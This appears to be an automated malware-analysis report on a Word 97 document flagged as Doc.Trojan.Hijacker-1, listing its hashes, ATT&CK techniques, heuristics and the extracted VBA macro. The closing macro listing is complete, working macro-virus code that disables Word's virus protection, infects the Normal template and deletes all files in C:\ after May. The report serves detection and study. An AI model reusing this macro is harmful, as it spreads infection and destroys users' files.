Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 afee0d5950c7c0b2…

MALICIOUS

Office (OLE)

33.5 KB Created: 2000-08-23 21:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6acb9208a51d50004088761849374509 SHA-1: 8e27b3581b5b0d4206caf99c633df67f07a81f14 SHA-256: afee0d5950c7c0b2f364461835f83e3870691b819c6aef1518225ab5f9298b97
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1485 Data Destruction

The sample contains VBA macros, specifically a `document_open` subroutine that is triggered automatically. This macro uses the `Shell()` function to execute `attrib.exe` with parameters to remove read-only, system, and hidden attributes from all files in the root directory, followed by an attempt to `Kill` all files in the root directory. This indicates a data destruction attempt. The ClamAV detection of 'Doc.Trojan.Hijacker-1' further supports the malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Hijacker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hijacker-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1006 bytes
SHA-256: 4f0b2e0b921fa133d4370ea3d5adde4a8aeb7d93747ad2781b2a78f984135c8c
Detection
ClamAV: Doc.Trojan.Hijacker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub document_open()
Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)
Set iamhere = MacroContainer.VBProject.vbcomponents(1).codemodule
If MacroContainer.FullName = NormalTemplate.FullName Then Set Infect = ActiveDocument.VBProject.vbcomponents(1).codemodule: saveit = 1
If MacroContainer.FullName = ActiveDocument.FullName Then Set Infect = NormalTemplate.VBProject.vbcomponents(1).codemodule
If Infect.countoflines < 1 Then Infect.addfromstring iamhere.lines(1, iamhere.countoflines)
If saveit = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wddocument
If Month(Now) > 5 Then Shell ("c:\windows\command\attrib.exe c:\*.* -r -s -h"), vbHide: Kill "c:\*.*"
End Sub

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